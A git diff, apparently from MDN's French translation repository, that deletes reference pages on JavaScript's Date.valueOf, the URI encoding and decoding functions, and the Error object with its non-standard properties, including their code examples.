Lorsqu'on fournit moins de deux arguments à Date.UTC, {{jsxref("NaN")}} sera renvoyé. Ce comportement a été spécifié dans ECMAScript 2017 et les moteurs qui n'obéissaient pas à cette règle on été mis à jour (cf. {{bug(1050755)}}, ecma-262 #642).

- -
Date.UTC();
-Date.UTC(1);
-
-// Safari: NaN
-// Chrome/Opera/V8: NaN
-
-// Firefox <54: non-NaN
-// Firefox 54+: NaN
-
-// IE: non-NaN
-// Edge: NaN
-
- -

Voir aussi

- -
    -
  • {{jsxref("Date.parse()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html deleted file mode 100644 index 680f34b4a1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Date.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/Date/valueOF -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive d'un objet {{jsxref("Date")}}.

- -
{{EmbedInteractiveExample("pages/js/date-valueof.html")}}
- - - -

Syntaxe

- -
date.valueOf()
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées entre le premier janvier 1970, minuit UTC et la date indiquée.

- -

Description

- -

La méthode valueOf() renvoie la valeur primitive d'un objet Date sous forme d'un nombre. Ce nombre correspond au nombre de millisecondes écoulées depuis le 1 janvier 1970 00h00 GMT.

- -

D'un point de vue fonctionnel, cette méthode est équivalente à {{jsxref("Date.prototype.getTime()")}}.

- -

Cette méthode est souvent appelée en interne par le moteur JavaScript et n'est pas utilisée de façon explicite dans des scripts.

- -

Exemples

- -

Utiliser valueOf()

- -
var x = new Date(56, 6, 17);
-var maVar = x.valueOf();      // maVar vaut -424713600000
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
  • {{jsxref("Date.prototype.getTime()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html b/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html deleted file mode 100644 index a2ef94c1fe..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: decodeURI() -slug: Web/JavaScript/Reference/Objets_globaux/decodeURI -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI ---- -
{{jsSidebar("Objects")}}
- -

La méthode decodeURI() permet de décoder un Uniform Resource Identifier (URI) créé par la méthode {{jsxref("encodeURI","encodeURI()")}} ou une méthode similaire.

- -
{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}
- - - -

Syntaxe

- -
decodeURI(encodedURI)
- -

Paramètres

- -
-
encodedURI
-
Un URI complet, encodé.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères dont certains caractères ont été décodés à partir de l'URI encodée passée en argument.

- -

Exceptions

- -

Cette méthode lève une exception {{jsxref("URIError")}} ("malformed URI sequence") lorsque la chaîne passée en argument contient des séquences de caractères invalides.

- -

Description

- -

Cette méthode remplace chaque séquence d'échappement présente dans l'URI encodée avec le caractère correspondant. Les séquences d'échappement qui n'auraient pas pu être introduites par {{jsxref("encodeURI", "encodeURI()")}} ne seront pas décodées. Le caractère « # » n'est pas décodé au sein des séquences d'échappement.

- -

Exemples

- -

Décoder une URL cyrillique

- -
decodeURI("https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
-// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
-
- -

Gérer les exceptions

- -
try {
-  var a = decodeURI('%E0%A4%A');
-} catch(e) {
-  console.error(e);
-}
-
-// Cela produira "URIError: malformed URI sequence"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.decodeURI")}}

- -

Voir aussi

- -
    -
  • {{jsxref("decodeURIComponent","decodeURIComponent()")}}
    • -
  • {{jsxref("encodeURI","encodeURI()")}}
    • -
  • {{jsxref("encodeURIComponent","encodeURIComponent()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html b/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html deleted file mode 100644 index c659ad8573..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: decodeURIComponent() -slug: Web/JavaScript/Reference/Objets_globaux/decodeURIComponent -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent ---- -
{{jsSidebar("Objects")}}
- -

La fonction decodeURIComponent() permet de décoder un composant d'un Uniform Resource Identifier (URI) précédemment créé par {{jsxref("encodeURIComponent")}} ou par une méthode similaire.

- -
{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}
- - - -

Syntaxe

- -
decodeURIComponent(encodedURI)
- -

Paramètres

- -
-
encodedURI
-
Un composant d'URI qui est encodé.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères qui représente la version décodée du composant d'URI encodé passé en argument.

- -

Exceptions levées

- -

Cette méthode lève une exception {{jsxref("URIError")}} ("malformed URI sequence") lorsqu'elle est utilisée de façon incorrecte.

- -

Description

- -

Cette méthode remplace chaque séquence d'échappement du composant d'URI encodé par le caractère que la séquence représente.

- -

Exemples

- -

Décoder un composant d'URL encodé

- -
decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
-// "JavaScript_шеллы"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.decodeURIComponent")}}

- -

Voir aussi

- -
    -
  • {{jsxref("decodeURI")}}
    • -
  • {{jsxref("encodeURI")}}
    • -
  • {{jsxref("encodeURIComponent")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html b/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html deleted file mode 100644 index 65bd21d5ef..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: encodeURI() -slug: Web/JavaScript/Reference/Objets_globaux/encodeURI -tags: - - JavaScript - - Reference - - URI -translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI ---- -
{{jsSidebar("Objects")}}
- -

La fonction encodeURI() encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatre séquences d'échappement représentant le caractère encodé en UTF-8 (les quatre séquences d'échappement ne seront utilisées que si le caractère est composé de deux caractères « surrogate »).

- -
{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}
- - - -

Syntaxe

- -
encodeURI(URI)
- -

Paramètres

- -
-
URI
-
Un Uniform Resource Identifier complet.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères représentant un URI, encodé, à partir de la chaîne de caractères passée en argument.

- -

Description

- -

encodeURI() échappe tous les caractères sauf ceux-ci :

- -
A-Z a-z 0-9 ; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #
-
- -

encodeURI() est différente de {{jsxref("encodeURIComponent")}}. Par exemple :

- -
var set1 = ";,/?:@&=+$#";  // Caractères réservés
-var set2 = "-_.!~*'()";   // Caractères non-réservés
-var set3 = "ABC abc 123"; // Caractères alphanumériques et espace
-
-console.log(encodeURI(set1)); // ;,/?:@&=+$#
-console.log(encodeURI(set2)); // -_.!~*'()
-console.log(encodeURI(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
-
-console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23
-console.log(encodeURIComponent(set2)); // -_.!~*'()
-console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
-
-
- -

Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère surrogate (demi-codet) qui ne fait pas partie d'une paire :

- -
// On a une paire de codets surrogate
-console.log(encodeURI('\uD800\uDFFF'));
-
-// Ici, seul le caractère "haut"
-// ce qui déclenche une "URIError: malformed URI sequence"
-console.log(encodeURI('\uD800'));
-
-// Ici, seul le caractère "bas"
-// ce qui déclenche une "URIError: malformed URI sequence"
-console.log(encodeURI('\uDFFF'));
-
- -

encodeURI() ne permet pas de former des requêtes HTTP GET ou POST (par exemple avec {{domxref("XMLHTTPRequest")}}) car "&", "+" et "=" ne sont pas encodés et sont traités comme des caractères spéciaux (toutefois, la méthode. {{jsxref("encodeURIComponent")}} pourra être utilisée pour encoder ces caractères).

- -

Si on souhaite suivre la RFC3986 qui concerne les URL et qui rend les crochets réservés (pour IPv6) (il ne faut donc plus encoder ces caractères lorsqu'ils font partie d'une URL (notamment pour la partie représentant l'hôte), on pourra utiliser le fragment de code suivant :

- -
function fixedEncodeURI(str) {
-  return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-encodeuri-uri', 'encodeURI')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}{{Spec2('ES5.1')}}
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.encodeURI")}}

- -

Voir aussi

- -
    -
  • {{jsxref("decodeURI", "decodeURI()")}}
    • -
  • {{jsxref("encodeURIComponent", "encodeURIComponent()")}}
    • -
  • {{jsxref("decodeURIComponent", "decodeURIComponent()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html b/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html deleted file mode 100644 index 054b5492b9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: encodeURIComponent() -slug: Web/JavaScript/Reference/Objets_globaux/encodeURIComponent -tags: - - JavaScript - - Reference - - URI -translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent ---- -
{{jsSidebar("Objects")}}
- -

La fonction encodeURIComponent() permet d'encoder un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatres séquences d'échappement UTF-8 correspondantes (quatre séquences seront utilisées uniquement lorsque les caractères à encoder sont composés de deux caractères « surrogate »).

- -
{{EmbedInteractiveExample("pages/js/globalprops-encodeuricomponent.html")}}
- - - -

Syntaxe

- -
encodeURIComponent(str);
- -

Paramètres

- -
-
str
-
Une chaîne de caractères qui correspond à un composant d'URI.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères qui représente un composant d'URI obtenu en encodant la chaîne passée en argument.

- -

Description

- -

encodeURIComponent() échappe tous les caractères sauf : les lettres de l'alphabet latin, les chiffres (arabes) et - _ . ! ~ * ' ( )

- -

La méthode encodeURIComponent() diffère de la méthode encodeURI() par rapport aux caractères qui sont encodés :

- -
var set1 = ";,/?:@&=+$";  // Caractères réservés
-var set2 = "-_.!~*'()";   // Caractères non-réservés
-var set3 = "#";           // Croisillon
-var set4 = "ABC abc 123"; // Caractères alphanumériques et espace
-
-console.log(encodeURI(set1)); // ;,/?:@&=+$
-console.log(encodeURI(set2)); // -_.!~*'()
-console.log(encodeURI(set3)); // #
-console.log(encodeURI(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
-
-console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24
-console.log(encodeURIComponent(set2)); // -_.!~*'()
-console.log(encodeURIComponent(set3)); // #
-console.log(encodeURIComponent(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
-
-
- -

Une exception {{jsxref("URIError")}} sera levée lorsqu'on utilise cette fonction sur un unique demi-codet qui est censé faire partie d'une paire de demi-codets :

- -
// la paire de demi-codets : OK
-console.log(encodeURIComponent('\uD800\uDFFF'));
-
-// seul le demi-codet supérieur : "URIError: malformed URI sequence"
-console.log(encodeURIComponent('\uD800'));
-
-// seul le demi-codet inférieur : "URIError: malformed URI sequence"
-console.log(encodeURIComponent('\uDFFF'));
-
- -

Afin d'éviter des requêtes inattendues vers le serveur, il est conseillé d'utiliser la fonction encodeURIComponent() pour n'importe quel paramètre qui aurait été saisi par l'utilisateur et qui ferait partie d'un URI. Ainsi, si un utilisateur peut saisir "Thym &access=admin" dans une variable commentaire et qu'on n'utilise pas encodeURIComponent(), on obtiendra la chaîne commentaire=Thym%20&access=admin. On voit ici que l'esperluette (&) et le signe égal forment une nouvelle paire clé/valeur. Au lieu d'avoir une clé POST commentaire égale à "Thym &access=admin", on aura deux clés POST, l'une égale à "Thym " et une seconde (access) égale à admin.

- -

Pour application/x-www-form-urlencoded, les espaces sont remplacés par un '+', aussi, dans ce cas, on pourra ajouter un remplacement supplémentaire après encodeURIComponent() pour remplacer "%20" par "+".

- -

Pour utiliser une fonction qui respecte la RFC 3986, plus stricte (qui réserve les caractères !, ', (, ), et * même si ces caractères n'ont pas d'usage normalisé), on pourra utiliser la fonction suivante :

- -
function fixedEncodeURIComponent (str) {
-  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
-    return '%' + c.charCodeAt(0).toString(16);
-  });
-}
-
- -

Exemples

- -

Dans l'exemple qui suit, on utilise une méthode spéciale pour l'encodage afin d'utiliser les paramètres d'en-tête de réponse Content-Disposition et Link (pour, par exemple, représenter des noms de fichiers en UTF-8) :

- -
var nomFichier = 'mon fichier(2).txt';
-var header = "Content-Disposition: attachment; filename*=UTF-8''"
-             + encodeRFC5987ValueChars(nomFichier);
-
-console.log(header);
-// affiche "Content-Disposition: attachment; filename*=UTF-8''mon%20fichier%282%29.txt"
-
-
-function encodeRFC5987ValueChars (str) {
-    return encodeURIComponent(str).
-        // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
-        // il n'est donc pas nécessaire l'échapper
-        replace(/['()]/g, escape). // c'est-à-dire %27 %28 %29
-        replace(/\*/g, '%2A').
-            // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
-            // on peut donc bénéficier d'un peu plus de lisibilité : |`^
-            replace(/%(?:7C|60|5E)/g, unescape);
-}
-
-// Voici une autre version équivalente
-function encodeRFC5987ValueChars2(str) {
-  return encodeURIComponent(str).
-    // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
-    // il n'est donc pas nécessaire l'échapper
-    replace(/['()*]/g, c => '%' + c.charCodeAt(0).toString(16)). // i.e., %27 %28 %29 %2a
-    // on notera que l'encodage valide pour "*" est %2A et qui faut donc appeler toUpperCase()
-    // pour encoder exactement.
-
-    // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
-    // on peut donc bénéficier d'un peu plus de lisibilité : |`^
-    replace(/%(7C|60|5E)/g, (str, hex) => String.fromCharCode(parseInt(hex, 16)));
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.encodeURIComponent")}}

- -

Voir aussi

- -
    -
  • {{jsxref("decodeURI")}}
    • -
  • {{jsxref("encodeURI")}}
    • -
  • {{jsxref("decodeURIComponent")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html b/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html deleted file mode 100644 index 813eb382a9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Error.prototype.columnNumber -slug: Web/JavaScript/Reference/Objets_globaux/Error/columnNumber -tags: - - Error - - JavaScript - - Non-standard - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété columnNumber contient le numéro de la colonne, dans la ligne du fichier qui a déclenché l'erreur.

- -

Exemples

- -

Utiliser de columnNumber

- -
var e = new Error("Ne peut pas lire la donnée");
-throw e;
-console.log(e.columnNumber) // 0
-
- -

Spécifications

- -

Ne fait partie d'aucune spécification. Non standard.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.columnNumber")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html b/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html deleted file mode 100644 index fb52011488..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Error.prototype.fileName -slug: Web/JavaScript/Reference/Objets_globaux/Error/fileName -tags: - - Error - - JavaScript - - Non-standard - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété fileName contient le chemin vers le fichier qui a déclenché l'erreur.

- -

Description

- -

Cette propriété non-standard contient le chemin vers le fichier qui a déclenché cette erreur. Si elle est appelée depuis un débugger (les outils de développement de Firefox par exemple), "debugger eval code" sera renvoyé.

- -

Exemples

- -

Utiliser fileName

- -
var e = new Error("Ne peut pas lire la donnée");
-throw e;
-// e.fileName peut ressembler à "file:///C:/exemple.html"
-
- -

Spécifications

- -

Ne fait partie d'aucune spécification. Non standard.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.fileName")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/index.html b/files/fr/web/javascript/reference/objets_globaux/error/index.html deleted file mode 100644 index e267e237f4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Error -slug: Web/JavaScript/Reference/Objets_globaux/Error -tags: - - Error - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error ---- -
{{JSRef}}
- -

Le constructeur Error crée un objet d'erreur. Des instances d'objets Error sont déclenchées lorsque des erreurs d'exécution surviennent. L'objet Error peut aussi être utilisé comme objet de base pour des exceptions définies par l'utilisateur. Voir ci-dessous pour les types d'erreur natifs standard.

- -

Syntaxe

- -
new Error([message[, fileName[, lineNumber]]])
- -

Paramètres

- -
-
message {{optional_inline}}
-
Description de l'erreur sous une forme lisible par un humain.
-
fileName {{optional_inline}}{{Non-standard_inline}}
-
Argument qui sera utilisé pour la valeur de la propriété fileName dans l'objet Error créé. Par défaut, ce sera le nom du fichier contenant le code qui a appelé le constructeur Error().
-
lineNumber {{optional_inline}}{{Non-standard_inline}}
-
Argument qui sera utilisé pour la valeur de la propriété lineNumber dans l'objet Error créé. Par défaut, ce sera le numéro de la ligne contenant l'invocation du constructeur Error().
-
- -

Description

- -

Les erreurs d'exécution ont pour résultat la création et le déclenchement d'objets Error.

- -

Cette page documente l'utilisation de l'objet Error lui-même et son utilisation comme fonction constructeur. Pour une liste des propriétés et des méthodes héritées par les instances d'Error,  voir {{jsxref("Error.prototype")}}.

- -

Utilisation de Error comme fonction

- -

Lorsqu'Error est utilisée comme fonction sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, cet appel renverra un objet Error. Aussi, un simple appel à Error produira le même résultat qu'une invocation avec new.

- -
// Cette instruction :
-const x = Error("J'ai été créée sans new");
-
-// Aura le même effet que
-const y = new Error("J'ai été créée avec new");
- -

Types d'erreur

- -

En plus du constructeur Error générique, il existe sept autres constructeurs d'erreur de base en JavaScript. Pour les exceptions côté client, voir Contrôle du flux d'instructions et gestion des erreurs.

- -
-
{{jsxref("EvalError")}}
-
Crée une instance représentant une erreur se produisant en relation avec la fonction globale {{jsxref("eval","eval()")}}.
-
{{jsxref("RangeError")}}
-
Crée une instance représentant une erreur se produisant quand une variable numérique ou un paramètre est en dehors de sa plage de validité.
-
{{jsxref("ReferenceError")}}
-
Crée une instance représentant une erreur se produisant lors du déréférencement d'une référence invalide.
-
{{jsxref("SyntaxError")}}
-
Crée une instance représentant une erreur de syntaxe se produisant lors d'une analyse de code dans {{jsxref("eval", "eval()")}}.
-
{{jsxref("TypeError")}}
-
Crée une instance représentant une erreur se produisant quand une variable ou un paramètre n'est pas d'un type valide.
-
{{jsxref("URIError")}}
-
Crée une instance représentant une erreur se produisant quand des paramètres invalides sont passés à {{jsxref("encodeURI", "encodeURI()")}} ou à {{jsxref("decodeURI", "decodeURI()")}}.
-
{{JSxRef("AggregateError")}}
-
Crée une instance représentant différentes erreurs agrégées en une seule lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}}.
-
{{jsxref("InternalError")}} {{non-standard_inline}}
-
Crée une instance représentant une erreur se produisant quand une erreur interne dans le moteur JavaScript est déclenchée. Par ex., "too much recursion".
-
- -

Propriétés

- -
-
{{jsxref("Error.prototype")}}
-
Permet l'ajout de propriétés aux instances Error.
-
- -

Méthodes

- -

L'objet global Error ne contient pas de méthodes en propre, toutefois, il hérite de certaines méthodes via la chaine de prototype.

- -

Instances d'Error

- -
{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Description')}}
- -

Propriétés

- -

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Propriétés')}}

- -

Méthodes

- -

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Méthodes')}}

- -

Exemples

- -

Déclenchement d'une erreur générique

- -

Vous créez habituellement un objet Error dans l'intention de le déclencher en utilisant le mot-clé {{jsxref("Instructions/throw", "throw")}}. Vous pouvez gérer l'erreur en utilisant la construction {{jsxref("Instructions/try...catch", "try...catch")}} :

- -
try {
-    throw new Error("Ouups !");
-} catch (e) {
-    console.log(e.name + ": " + e.message);
-}
-
- -

Gestion d'une erreur spécifique

- -

Vous pouvez choisir de ne gérer que des types d'erreur particuliers en testant le type de l'erreur via la propriété {{jsxref("Object.prototype.constructor", "constructor")}} de l'erreur ou, si vous écrivez pour des interpréteurs JavaScript modernes, le mot-clé {{jsxref("Opérateurs/instanceof", "instanceof")}} :

- -
try {
-    machin.truc();
-} catch (e) {
-    if (e instanceof EvalError) {
-        console.log(e.name + ": " + e.message);
-    } else if (e instanceof RangeError) {
-        console.log(e.name + ": " + e.message);
-    }
-    // ... etc
-}
-
- -

Types d'erreur personnalisés

- -

Vous pouvez vouloir définir vos propres types d'erreur dérivants d'Error pour pouvoir écrire throw new MonErreur() et utiliser instanceof MonErreur afin de vérifier le type d'erreur dans le gestionnaire d'exceptions. Cela a pour résultat un code de gestion d'erreur plus propre et plus cohérent. Voir What's a good way to extend Error in JavaScript? sur StackOverflow pour une discussion en profondeur.

- -

Classes d'erreur personnalisées avec ECMAScript 2015 / ES6

- -
-

Attention ! Babel, dans les versions antérieures à Babel 7, ainsi que d'autres transpileurs ne géreront pas correctement le code suivant sans configuration supplémentaire. Les versions de Babel antérieures à la version 7 peuvent uniquement gérer les classes d'erreur personnalisées lorsque celles-ci sont créées avec Object.defineProperty().

-
- -
-

Note : Certains navigateurs incluent le constructeur CustomError (Erreur Personnalisée) dans la pile d'appels lors de l'utilisation de classes ES6.

-
- -
class CustomError extends Error {
-  constructor(machin = 'truc', ...params) {
-    // Passer les arguments restants (incluant ceux spécifiques au vendeur) au constructeur parent
-    super(...params);
-
-    // Maintenir dans la pile une trace adéquate de l'endroit où l'erreur a été déclenchée (disponible seulement en V8)
-    if(Error.captureStackTrace) {
-      Error.captureStackTrace(this, CustomError);
-    }
-    this.name = 'CustomError';
-    // Informations de déboguage personnalisées
-    this.machin = machin;
-    this.date = new Date();
-  }
-}
-
-try {
-  throw new CustomError('bidule', 'messageBidule');
-} catch(e){
-  console.log(e.name);    // CustomError
-  console.log(e.machin);  // bidule
-  console.log(e.message); // messageBidule
-  console.log(e.stack);   // stacktrace
-}
- -

Objet d'erreur personnalisé ES5

- -
-

Attention ! Tous les navigateurs incluent le constructeur CustomError dans la pile  d'appel lorsqu'une déclaration prototypale est utilisée.

-
- -
function CustomError(machin, message, nomFichier, numeroLigne) {
-  var instance = new Error(message, nomFichier, numeroLigne);
-  instance.name = 'CustomError';
-  instance.machin = machin;
-  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
-  if(Error.captureStackTrace) {
-    Error.captureStackTrace(instance, CustomError);
-  }
-  return instance;
-}
-
-CustomError.prototype = Object.create(Error.prototype, {
-  constructor: {
-    value: Error,
-    enumerable: false,
-    writable: true,
-    configurable: true
-  }
-});
-
-if (Object.setPrototypeOf){
-  Object.setPrototypeOf(CustomError, Error);
-} else {
-  CustomError.__proto__ = Error;
-}
-
-
-try {
-  throw new CustomError('bidule', 'messageBidule');
-} catch(e){
-  console.log(e.name);       // CustomError
-  console.log(e.toto);       // bidule
-  console.log(e.message);    // messageBidule
-  console.log(e.lineNumber); // 29
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-error-objects', 'Error')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-15.11', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Instructions/throw", "throw")}}
    • -
  • {{jsxref("Instructions/try...catch", "try...catch")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html b/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html deleted file mode 100644 index 8067f9d42e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Error.prototype.lineNumber -slug: Web/JavaScript/Reference/Objets_globaux/Error/lineNumber -tags: - - Error - - JavaScript - - Non-standard - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété lineNumber contient le numéro de la ligne qui a déclenché l'erreur dans le fichier.

- -

Exemples

- -

Utiliser lineNumber

- -
var e = new Error("Ne peut pas lire la donnée");
-throw e;
-console.log(e.lineNumber) // 2
- -

Alternative en utilisant l'événement error

- -
window.addEventListener("error", function (e) {
- console.log(e.lineNumber); //5
-});
-var e = new Error('Ne peut pas lire la donnée');
-throw e;
- -

Spécifications

- -

Ne fait partie d'aucune spécification. Non standard.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.lineNumber")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • -
